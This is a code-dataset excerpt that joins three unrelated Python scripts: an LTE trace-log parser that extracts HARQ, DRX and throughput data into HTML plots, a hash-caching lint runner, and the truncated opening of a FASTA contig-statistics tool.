#############################################################################\n\n m = re.search(\"(0x[0-9abcdef]+)=.*\", line)\n if m:\n timestamps2ms(m.group(1))\n\n # Handle Time wrap\n if ((wrapDelay == 0) and (storeTime > (currentTime + 3000))):\n i+=1\n wrapDelay = 100\n storeTime = currentTime\n\n # handling a wrap window, due to traces not always sorted in time. Will not update store until after the window.\n if(wrapDelay > 0):\n wrapDelay-=1\n else:\n storeTime = currentTime;\n\n # remove 40960 if \"old bfn\" turn up in the logfile\n if ((i > 0) and (storeTime > (storeTime + 2000))):\n bfnTimePrint = currentTime + (40960*(i - 1))\n print (\"removing 40960 from bfn time: \" + str(bfnTimePrint) + \"\\n\")\n else:\n bfnTimePrint = currentTime + (40960*i)\n\n #############################################################################\n # TTI (transmission time interval) print\n #############################################################################\n\n if bfnTimePrint > newTti:\n if bfnTimePrint > (newTti + 1):\n missedTti+=1\n newTti = bfnTimePrint\n\n if firstTti == 0:\n firstTti = bfnTimePrint\n lastTti = bfnTimePrint\n\n m = re.search(\"(\\d+-\\d+-\\d+)\", line)\n m2 = re.search(\"([0-9]+:[0-9]+:[0-9]+.[0-9]+)\", line)\n m3 = re.search(\"sfn:([0-9]+)\", line)\n m4 = re.search(\"sf:([0-9]+).([0-9]+)\", line)\n if m:\n date = m.group(1)\n timestamp = m2.group(1)\n sfnvalue = int(m3.group(1))\n sfvalue = str(m4.group(1)) + \".\" + str(m4.group(2))\n #TIMESTAMP.write(str(sfnTimePrint) + \" \" + str(date) + \"_\" + str(timestamp) + \"_\" + str(sfnvalue) + \"_\" + str(sfvalue) + \"\\n\")\n TIMESTAMP.write(str(sfnTimePrint) + \" \" + str(date) + \" \" + str(timestamp) + \"\\n\")\n\n #############################################################################\n # Get UL HARQ Info\n #############################################################################\n\n m = re.search(\"UpUlMacPeCiUlMacCtrlInfoIndS?\", line)\n if m:\n ulMacCtrlInfo = 1\n\n m = re.search(\".*HarqFeedbackAck.*\", line) #NOT FOUND IN LOGS\n if ((ulMacCtrlInfo == 1) and (m)):\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n if(firstTime):\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 0.5\\n\")\n firstTime = 0\n\n m = re.search(\".*HarqFeedbackNack.*\", line) #NOT FOUND IN LOGS\n if ((ulMacCtrlInfo == 1) and (m)):\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 1.75\\n\")\n\n m = re.search(\"UpUlMacPeCiUlL1Harqfdbk2DlIndS?\", line)\n if m:\n UlL1Harqfdbk = 1\n\n m = re.search(\"dlHarqValid(\\s| = )1\", line)\n if m:\n dlHarqValid = 1\n\n m = re.search(\"nrOfTb(\\s| = )([-0-9]+)\", line)\n if m:\n nrOfTb = int(m.group(2))\n\n m = re.search(\"detectedHarqIndication(\\s| = )([-0-9]+)\", line)\n if (dlHarqValid == 1) and (UlL1Harqfdbk == 1) and (m):\n if (int(m.group(2)) == 0): #NACK/NACK\n if (nrOfTb == 1):\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 1.75\\n\")\n elif (nrOfTb == 2):\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 1.75\\n\")\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 1.75\\n\")\n elif (int(m.group(2)) == 1): #NACK/ACK\n if (nrOfTb == 1):\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n elif (nrOfTb == 2):\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 1.75\\n\")\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n elif (int(m.group(2)) == 2): #ACK/NACK\n if (nrOfTb == 1):\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n elif (nrOfTb == 2):\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 1.75\\n\")\n elif (int(m.group(2)) == 3): #ACK/ACK\n if (nrOfTb == 1):\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n elif (nrOfTb == 2):\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n ULHARQACKFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n elif (int(m.group(2)) == 4): #DTX\n ULHARQNACKFILE.write(str(sfnTimePrint) + \" 1.75\\n\")\n dlHarqValid = 0\n\n #############################################################################\n # Get Scheduling Request in UL\n #############################################################################\n\n m = re.search(\"UpUlMacPeCiUlL1Measrprt2UlIndS? \", line)\n if m:\n ulMeas2Ul = 1\n\n m = re.search(\"pucchSrReport \", line) #nrOfPucchSrReports and pucchSrReportList\n if (ulMeas2Ul == 1) and (m):\n PUCCHSRFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n\n m = re.search(\"nrOfPucchSrReports(\\s| = )([-0-9]+)\", line)\n if (ulMeas2Ul == 1) and m:\n if (int(m.group(2) != 0)):\n PUCCHSRFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n\n #############################################################################\n # Get TBS in DL\n ############################################################################\n\n m = re.search(\"UpDlMacPeCiDlUeAllocIndS? \", line)\n if m:\n dlAllocInd = 1\n\n m = re.search(\"tbSizeInBytes(\\s| = )([-0-9]+)\", line)\n if (dlAllocInd == 1) and (m):\n tbsDl = 1\n\n if(tbsDl > 0):\n DLTBSFILE.write(str(sfnTimePrint) + \" \" + str(tbsDl) + \"\\n\")\n\n #############################################################################\n # Get NEW and RETX data in DL\n #############################################################################\n\n m = re.search(\"newDataFlag(\\s| = )(1|true)\", line)\n if (dlAllocInd == 1) and m:\n DLNEWFILE.write(str(sfnTimePrint) + \" 1\" + \"\\n\")\n\n m = re.search(\"newDataFlag(\\s| = )(0|false)\", line)\n if (dlAllocInd == 1) and m:\n DLRETXFILE.write(str(sfnTimePrint) + \" 0\" + \"\\n\")\n\n #############################################################################\n # Get TBS in UL\n #############################################################################\n\n m = re.search(\"UpUlMacPeCiUlUeAllocIndS? \", line)\n if m:\n ulAllocInd = 1\n\n m = re.search(\"newDataFlag(\\s| = )(1|true)\", line)\n if (ulAllocInd == 1) and m:\n ulNewTx = 1\n\n m = re.search(\"newDataFlag(\\s| = )(0|false)\", line)\n if (ulAllocInd == 1) and m:\n ulRetx = 1\n\n m = re.search(\"tbs(\\s|=){([-0-9]+)\", line)\n if (ulAllocInd == 1) and m:\n tbsUl = (int(m.group(2))/8)\n if(ulNewTx):\n ULNEWTBSFILE.write(str(sfnTimePrint) + \" \" + str(tbsUl) + \"\\n\")\n ulNewTx = 0\n if(ulRetx):\n ULRETXTBSFILE.write(str(sfnTimePrint) + \" \" + str(tbsUl) + \"\\n\")\n ulRetx = 0\n\n #############################################################################\n # Get rxpower and SINR for PUSCH when not DTX\n #############################################################################\n\n m = re.search(\"isDtx(\\s| = )(1|true)\", line)\n if m:\n dtxSample = 1\n\n m = re.search(\"isDtx(\\s| = )(0|false)\", line)\n if m:\n validSample = 1\n\n m = re.search(\"rxPowerReport(\\s| = )([-0-9]+)\", line)\n if(validSample == 1) and m:\n rxpowerpusch = int(m.group(2))/10\n RXPOWERPUSCHFILE.write(str(sfnTimePrint) + \" \" + str(rxpowerpusch) + \"\\n\")\n\n m = re.search(\"sinr(\\s| = )([-0-9]+)\", line)\n if(validSample == 1) and m:\n ulsinr = int(m.group(2))/10\n ULSINRFILE.write(str(sfnTimePrint) + \" \" + str(ulsinr) + \"\\n\")\n\n #############################################################################\n # Get DRX UL\n #############################################################################\n\n m = re.search(\"drxActive=([0-1])\", line)\n if m:\n if(oldStateUl != m.group(1)):\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(m.group(1)) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n oldStateUl = m.group(1)\n ulDrxTraceAvailable = 1\n\n m = re.search(\"shortDrxCycleTime=([0-9]+)\", line)\n m1 = re.search(\"shortDrxCycleTime=-1\", line)\n if m:\n drxShortUl = 3\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n elif m1:\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n drxShortUl = 2\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n\n m = re.search(\"IATime=([0-9]+)\", line) or re.search(\"inactivityTime=([0-9]+)\", line)\n m1 = re.search(\"IATime=-1\", line) or re.search(\"inactivityTime=-1\", line)\n if m:\n if oldInactivityUl != m.group(1):\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n oldInactivityUl = m.group(1)\n inactivityUl = 5\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n elif m1:\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n inactivityUl = 4\n DRXULFILE.write(str(sfnTimePrint) + \" \" + str(oldStateUl) + \" \" + str(drxShortUl) + \" \" + str(inactivityUl) + \"\\n\")\n\n #############################################################################\n # Get DRX DL\n #############################################################################\n\n m = re.search(\"SCTime=([0-9]+)\", line)\n m1 = re.search(\"SCTime=-1\", line)\n if m:\n if(oldShortCycleTimer != m.group(1)):\n oldShortCycleTimer = int(m.group(1))\n drxShort = 3\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n elif m1:\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n drxShort = 2\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n\n m = re.search(\"ONType=([3-4])\", line)\n if m:\n onType = int(m.group(1))/2\n DRXDLSKIPONDURATION.write(str(sfnTimePrint) + \" \" + str(onType) + \"\\n\")\n\n m = re.search(\"c=([0-1]) r=\", line)\n if m:\n if oldState != m.group(1):\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(m.group(1)) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n oldState = m.group(1)\n dlDrxTraceAvailable = 1\n\n m = re.search(\"IATime=([0-9]+)\", line)\n m1 = re.search(\"IATime=-1\", line)\n if m:\n if(oldInactivity != m.group(1)):\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n oldInactivity = m.group(1)\n inactivity = 5\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n elif m1:\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n inactivity = 4\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n\n m = re.search(\"UpcDlMacCeFiUeDrxUpdateIndS?\", line)\n if m:\n DRXUPDATEFILE.write(str(sfnTimePrint) + \" 1.5\\n\")\n\n #############################################################################\n # CR2525 Information\n #############################################################################\n\n m = re.search(\"nrOfDtxInARowDl=([0-9]+)\", line)\n if m:\n dtx = ((int(m.group(1))/10) + 1)\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n\n m = re.search(\"dtxCnt(\\s|=)([-0-9]+)\", line)\n if m:\n dtx = ((int(m.group(2))/10) + 1)\n DRXDLFILE.write(str(sfnTimePrint) + \" \" + str(oldState) + \" \" + str(drxShort) + \" \" + str(inactivity) + \" 0 \" + str(dtx) + \"\\n\")\n\n #################################################################################\n # EVENTS from the UL Calendar function\n #################################################################################\n ####\n #### Read from EM event, move to Validation list\n ####\n\n m = re.search(\"DRX_WAKUP_LONGCYCLE\", line)\n if m:\n if drxLongCycle <= 0:\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n drxLongCycle = 1\n\n m = re.search(\"DRX_WAKEUP_SHORTCYCLE\", line)\n if m:\n if drxShortCycle <= 0:\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n drxShortCycle = 1\n\n m = re.search(\"ULMACCE_LISTMGROBS_SR\", line)\n if m:\n srReceived = 0\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n srReceived = 1\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n srReceived = 0\n\n ####\n #### Write to EM events, move to Non validation list\n ####\n\n m = re.search(\"DRX_INACTIVITY_STOP\", line)\n if m:\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" -0.5\\n\")\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n\n m = re.search(\"UE_OUTOFSYNC\", line)\n if m:\n if(drxLongCycle == 1):\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n drxLongCycle = 0\n\n if(drxShortCycle == 1):\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n drxShortCycle = 0\n\n m = re.search(\"DRX_SLEEP_SHORTCYCLE\", line) or re.search(\"DRX_SLEEP_LONGCYCLE\", line)\n if m:\n if(drxShortCycle == 1):\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n drxShortCycle = 0\n\n if(drxLongCycle == 1):\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n drxLongCycle = 0\n srReceived = 0\n DRXFILE.write(str(sfnTimePrint) + \" \" + str(drxLongCycle) + \" \" + str(drxShortCycle) + \" \" + str(srReceived) + \" 0\\n\")\n\n m = re.search(\"DC_DT=\\[([0-9]+) ([0-9]+)]\", line)\n if m:\n DC = m.group(1)\n DT = m.group(2)\n DC_DT.write(str(sfnTimePrint) + \" \" + str(DC) + \".\" + str(DT) + \"\\n\")\n\n m = re.search(\"newDrxConfigIndex(\\s|=)([0-9]+)\", line)\n if m:\n newDrxConfigIndex = float(m.group(2))/100\n NEWDRXCONFIGINDEX.write(str(sfnTimePrint) + \" \" + str(newDrxConfigIndex) + \"\\n\")\n\n m = re.search(\"newLongDrxCycle(\\s|=)([0-9]+)\", line)\n if m:\n newLongDrxCycle = float(m.group(2))/100\n NEWLONGDRXCYCLE.write(str(sfnTimePrint) + \" \" + str(newLongDrxCycle) + \"\\n\")\n\n m = re.search(\"newDrxStartOffset(\\s|=)([0-9]+)\", line)\n if m:\n newDrxStartOffset = float(m.group(2))/100\n NEWDRXSTARTOFFSET.write(str(sfnTimePrint) + \" \" + str(newDrxStartOffset) + \"\\n\")\n\n ############################################################################\n\n for line in f: # read the parsed log file\n m = re.search(\"0x[0-9abcdef]+=\", line) or re.search(\"^\\[[-:. 0-9]+\\]\", line)\n if m: # example \"0x5051e916=\"\"\n noOfTraceBlocks+=1\n if(begin == 0):\n begin = 1\n traceblock.append(line)\n else:\n checkTraceblock()\n del traceblock[:]\n traceblock.append(line)\n else:\n if(begin == 1):\n traceblock.append(line)\n else:\n checkTraceblock()\n\n #####################################\n ## Calculating DRX Sleep Ratio\n #####################################\n DRXDLFILE = open(dirname + os.sep + match + \"_drx_dl.txt\", 'r')\n\n prevLine = None\n pts = []\n ON = 0.0\n ALL = 0.0\n prevRow0 = None\n firstLine = 1\n\n for line in DRXDLFILE:\n row = line.split()\n if firstLine:\n prevRow0 = int(row[0])\n firstLine = 0\n if (line != prevLine) and (line not in pts):\n pts.append(line)\n if (int(row[0]) != prevRow0):\n ALL += int(row[0]) - prevRow0\n prevRow0 = int(row[0])\n if (int(row[1]) == 1):\n ON+=1.0\n\n print(\" Sfn Time Wrap handled! Number of sfn wraps: \" + str(sfnWrap) + \"\\n\")\n\n totTti = (lastTti - firstTti)/1000.0\n print(\" Trace length: \" + str(totTti) + \" seconds\\n\")\n print(\" Missed TTIs: \" + str(missedTti) + \"\\n\")\n print(\" Time gap of more than 10 ms exists! \\n\")\n print(\" DRX Sleep Ratio is: %.2f%%\\n\" % (((ALL-ON)/ALL)*100))\n\n if((ulDrxTraceAvailable == 0) or (dlDrxTraceAvailable == 0)):\n print(\" UL and/or DL DRX traces are missing from the logfile. The plot information might not be enough to get a proper graph!\\n\")\n print(\" UL = \" + str(ulDrxTraceAvailable) + \", DL = \" + str(dlDrxTraceAvailable))\n\n f.close()\n RXPOWERPUSCHFILE.close()\n ULNEWTBSFILE.close()\n ULRETXTBSFILE.close()\n DLNEWFILE.close()\n DLRETXFILE.close()\n DLTBSFILE.close()\n PUCCHSRFILE.close()\n ULSINRFILE.close()\n DRXDLFILE.close()\n DRXULFILE.close()\n DRXFILE.close()\n ULHARQACKFILE.close()\n ULHARQNACKFILE.close()\n DRXUPDATEFILE.close()\n DRXDLSKIPONDURATION.close()\n TIMESTAMP.close()\n NEWDRXCONFIGINDEX.close()\n NEWDRXSTARTOFFSET.close()\n NEWLONGDRXCYCLE.close()\n DC_DT.close()\n INCONSISTENCY.close()\n\n'''***************************************************************************************************************************************************************************************************************************\n******************************************************************************************************************************************************************************************************************************\n******************************************************************************************************************************************************************************************************************************'''\n\nfor match in matches:\n if match in FoldersExist:\n continue\n\n dirname = \".\" + os.sep + match + \"_\" + os.path.basename(log_file)\n DRXDLFILE = open(dirname + os.sep + match + \"_drx_dl.txt\", 'r')\n DRXFILE = open(dirname + os.sep + match + \"_rx_event_ul.txt\", 'r')\n DRXULFILE = open(dirname + os.sep + match + \"_drx_ul.txt\", 'r')\n RXPOWERPUSCHFILE = open(dirname + os.sep + match + \"_rxpower_pusch.txt\", 'r')\n ULNEWTBSFILE = open(dirname + os.sep + match + \"_ultbs_new.txt\", 'r')\n ULRETXTBSFILE = open(dirname + os.sep + match + \"_ultbs_retx.txt\", 'r')\n DLNEWFILE = open(dirname + os.sep + match + \"_dl_new.txt\", 'r')\n DLRETXFILE = open(dirname + os.sep + match + \"_dl_retx.txt\", 'r')\n DLTBSFILE = open(dirname + os.sep + match + \"_dltbs.txt\", 'r')\n PUCCHSRFILE = open(dirname + os.sep + match + \"_sr.txt\", 'r')\n ULSINRFILE = open(dirname + os.sep + match + \"_ulsinr.txt\", 'r')\n ULHARQACKFILE = open(dirname + os.sep + match + \"_ulharqack.txt\", 'r')\n ULHARQNACKFILE = open(dirname + os.sep + match + \"_ulharqnack.txt\", 'r')\n DRXUPDATEFILE = open(dirname + os.sep + match + \"_drxupdateind.txt\", 'r')\n DRXDLSKIPONDURATION = open(dirname + os.sep + match + \"_drxdl_skip_onduration.txt\", 'r')\n TIMESTAMP = open(dirname + os.sep + match + \"_timestamp.txt\", 'r')\n NEWDRXCONFIGINDEX = open(dirname + os.sep + match + \"_new_drx_config_index.txt\", 'r')\n NEWDRXSTARTOFFSET = open(dirname + os.sep + match + \"_new_drx_start_offset.txt\", 'r')\n NEWLONGDRXCYCLE = open(dirname + os.sep + match + \"_new_long_drx_cycle.txt\", 'r')\n DC_DT = open(dirname + os.sep + match + \"_dc_dt.txt\", 'r')\n INCONSISTENCY = open(dirname + os.sep + match + \"_inconsistency.txt\", 'r')\n\n\n first = next(TIMESTAMP).decode()\n TIMESTAMP.seek(-1024, 2)\n last = TIMESTAMP.readlines()[-1].decode()\n\n row = first.split()\n firstSfn = int(row[0])\n\n row = last.split()\n lastSfn = int(row[0])\n\n nrOfSfn = lastSfn - firstSfn\n\n TIMESTAMP.seek(0)\n\n maxSfnPerPage = 8000\n nrOfFile = math.ceil(nrOfSfn/float(maxSfnPerPage))\n totalFiles = int(nrOfFile)\n print('totalfiles',totalFiles)\n \n print(firstSfn, lastSfn, first, last)\n last_pos1 = TIMESTAMP.tell()\n last_pos2 = DRXDLFILE.tell()\n last_pos3 = DRXULFILE.tell()\n last_pos4 = RXPOWERPUSCHFILE.tell()\n last_pos5 = ULNEWTBSFILE.tell()\n last_pos6 = ULRETXTBSFILE.tell()\n last_pos7 = DLNEWFILE.tell()\n last_pos8 = DLRETXFILE.tell()\n last_pos9 = DLTBSFILE.tell()\n last_pos10 = PUCCHSRFILE.tell()\n last_pos11 = ULSINRFILE.tell()\n last_pos12 = ULHARQACKFILE.tell()\n last_pos13 = ULHARQNACKFILE.tell()\n last_pos14 = DRXUPDATEFILE.tell()\n last_pos15 = DRXDLSKIPONDURATION.tell()\n last_pos16 = NEWDRXCONFIGINDEX.tell()\n last_pos17 = NEWDRXSTARTOFFSET.tell()\n last_pos18 = NEWLONGDRXCYCLE.tell()\n last_pos19 = DC_DT.tell()\n last_pos20 = INCONSISTENCY.tell()\n last_pos21 = DRXFILE.tell()\n\n if nrOfFile > 1:\n print(' Number of data points exceed limit for a single HTML page.\\n')\n print(' Multiple HTML pages are created. Only the first will be launched automatically.\\n')\n print(' Refer to ' + dirname + ' to manually launch desired HTML page.')\n\n print (\"\\n***************************************************************************************\\n\")\n n = 0\n\n firstfile = 1\n pts = []\n x1 = []\n y1 = []\n y2 = []\n y3 = []\n y4 = []\n y5 = []\n timestamp = []\n\n while nrOfFile > 0:\n n+=1\n minRange = firstSfn\n maxRange = 0\n pg = dirname + os.sep + match + \"_\" + os.path.basename(log_file) + \"_\" + str(int(n)) + \".html\"\n f = open(pg, 'w')\n nrOfFile-=1\n\n f.write('''\n <!doctype html>\n <html>\n <head>\n <title>''' + 'DRX Plot For UE: ' + str(match) +'''\n \n\n \n\n \n \n

Note: A greyed out trace is disabled. To show a information for a trace, please click on it to enable it.

\n \n \n \n \n \n ''')\n i = totalFiles\n f.write('''\n ''')\n f.write('''\n \n
\n
\n Range X1 (Minimum Sfn: ''' + str(minRange) + '''):\n \n Range X2 (Maximum Sfn: ''' + str(maxRange) + '''):\n \n
\n 		\n \n ''')\n\n\n totalFiles = 0\n for file in os.listdir(dirname):\n if file.endswith(\".html\"):\n totalFiles+=1\n\n nrOfFile = totalFiles\n n = 0\n while nrOfFile > 0:\n n+=1\n pg = dirname + os.sep + match + \"_\" + os.path.basename(log_file) + \"_\" + str(int(n)) + \".html\"\n f = open(pg, 'a')\n nrOfFile-=1\n\n if (n-1) is not 0:\n f.write('''
\n \n
\n 		\n \n ''')\n if (n+1) <= totalFiles:\n f.write('''
\n >\" class=\"next\">\n
\n
\n \n \n ''')\n\n f.close()\n if firstfile:\n new = 2 # open in a new tab, if possible\n url = pg\n webbrowser.open(url,new=new)\n firstfile = 0\n\n RXPOWERPUSCHFILE.close()\n ULNEWTBSFILE.close()\n ULRETXTBSFILE.close()\n DLNEWFILE.close()\n DLRETXFILE.close()\n DLTBSFILE.close()\n PUCCHSRFILE.close()\n ULSINRFILE.close()\n DRXDLFILE.close()\n DRXULFILE.close()\n DRXFILE.close()\n ULHARQACKFILE.close()\n ULHARQNACKFILE.close()\n DRXUPDATEFILE.close()\n DRXDLSKIPONDURATION.close()\n TIMESTAMP.close()\n NEWDRXCONFIGINDEX.close()\n NEWDRXSTARTOFFSET.close()\n NEWLONGDRXCYCLE.close()\n DC_DT.close()\n INCONSISTENCY.close()\n","sub_path":"drx_old-b631c30b4be09f6e9d7b01b630739a20.py","file_name":"drx_old-b631c30b4be09f6e9d7b01b630739a20.py","file_ext":"py","file_size_in_byte":77123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"131575883","text":"#!/usr/bin/env python\n\nimport hashlib\nimport os\nimport pickle\nimport subprocess\nimport sys\n\nfrom core import *\nimport generic_lint\n\n\n\n# Constants\n\ndirs_to_ignore = [\".stack-work\", \".build-work\"]\ntmp_dir = \"./.build-work/tmp/\"\ncache_file = tmp_dir + \"lint_cache.pickle\"\n\n\n\n# Implementation\n\ndef perform_lint(dirs):\n # Load the set of files known to be good\n known_good_hashes = set()\n if os.path.isfile(cache_file):\n known_good_hashes = pickle.load(open(cache_file, \"rb\"))\n\n # Lint any files that are not known to be good\n all_files = sum(map(files_in_dir, dirs), [])\n allowed_files = filter(is_allowed_file, all_files)\n code_files = filter(is_code_file, allowed_files)\n success = True\n for file in code_files:\n # Determine the file's hash\n with open(file, \"rb\") as f:\n hasher = hashlib.sha1()\n hasher.update(f.read())\n file_hash = hasher.hexdigest()\n\n # If the file isn't known to be good, then lint it\n if not (file_hash in known_good_hashes):\n file_success = lint_file(file)\n success = success and file_success\n if file_success:\n known_good_hashes.add(file_hash)\n\n # Write the updated set of known good files to the cache\n mkdir_p(tmp_dir)\n pickle.dump(known_good_hashes, open(cache_file, \"wb\"))\n\n return success\n\ndef lint_file(file):\n success = generic_lint.run_for(file)\n if is_haskell_file(file):\n cmd = [\"hlint\", \"--no-summary\", \"--hint=tools/lint/HLint\", file]\n hlint_exit = subprocess.call(cmd)\n hlint_success = (hlint_exit == 0)\n success = success and hlint_success\n\n return success\n\ndef is_allowed_file(file):\n path_components = file.split(\"/\")\n if len(path_components) > 1:\n return not (path_components[1] in dirs_to_ignore)\n else:\n return True\n\nif __name__ == \"__main__\":\n success = perform_lint([\".\"])\n sys.exit(None if success else 1)\n","sub_path":"tools/lint/full_lint.py","file_name":"full_lint.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"568228102","text":"#!/usr/bin/python\n\nimport sys\nimport os\nimport os.path\nimport argparse\nimport re\nimport string\nimport logging\nimport warnings\n\n## simpleFastaStats.py takes a single fasta-formatted DNA/RNA text file and\n## outputs contig count, average contig length, N50 contig lengths, maximum contig length, and cumulative contig length\n\n## Function: A closure for file extension checking\n\ndef ext_check(expected_ext, openner):\n def extension(filename):\n if not filename.lower().endswith(expected_ext):\n raise ValueError()\n return openner(filename)\n return extension\n\n## Function: Filename extractor from filepath\ndef getIsolateID(filePathString):\n\tsplitStr = re.split(pattern='/', string=filePathString)\n\tfileNameIdx = len(splitStr) - 1\n\tisolateString = re.split(pattern='\\.', string=splitStr[fileNameIdx])\n\tif(len(isolateString[0]) < 10):\n\t\tisolateString = re.split(pattern='\\.', string=splitStr[0])\n\treturn isolateString[0]\n\n## Function: Checks existence of --outDir\ndef readable_dir(prospective_dir):\n\tif not os.path.isdir(prospective_dir):\n \t\traise argparse.ArgumentTypeError(\"readable_dir:{0} is not a valid path\".format(prospective_dir))\n\tif os.access(prospective_dir, os.R_OK):\n\t\tif( not prospective_dir.endswith(\"/\") ):\n\t\t\tprospective_dir = prospective_dir + \"/\"\n\t\treturn prospective_dir\n\telse:\n\t\traise argparse.ArgumentTypeError(\"readable_dir:{0} is not a readable dir\".format(prospective_dir))\n\n\nparser = argparse.ArgumentParser(description='compare average contig and contig counts among multiple .fasta, move lower quality assemblies to Hel', usage=\"multiFastaContigAvgJudgement.py filepath/input.assembly*.fasta --minLength 500(default) --format [brief(default)|verbose|tsv|csv]\")\n\nparser.add_argument(\"filename\",type=ext_check('.fasta', argparse.FileType('r')), nargs='+')\n\n## output folder\nparser.add_argument('--outDir', '-D', type=readable_dir, required=True, action='store')\n\n## minimum contig length\nparser.add_argument(\"--minLength\", '-min', default='500', type=int)\n\nparser.add_argument(\"--format\", default='brief', type = lambda s : s.lower(), choices=['tsv', 'csv', 'brief', 'verbose', 'c', 's', 'b', 'v'])\n\n## arrays of dict type variables\n#GenomeDrafts = []\n#GenomeContigs = []\n\ninFileName = []\n\ndraftContigs = []\ndraftGenome = {}\ncontigLengths = {}\nidCount = 0\ncontigID = \"\"\ncontigStr = \"\" \n\ncontigCount = []\nmaxContig = []\ncontigN50 = []\ndrLength = 0\ndraftLength = []\navgContig = []\n\nargs = parser.parse_args()\n\nhelHeim = args.outDir\n\nintMinLen = args.minLength\n\nidxFile = 0\n\n##### Begin logging #####\n\nlogger = logging.getLogger(\"multiFastaContigAvgJudgement.py\")\nlogger.setLevel(logging.INFO)\nch = 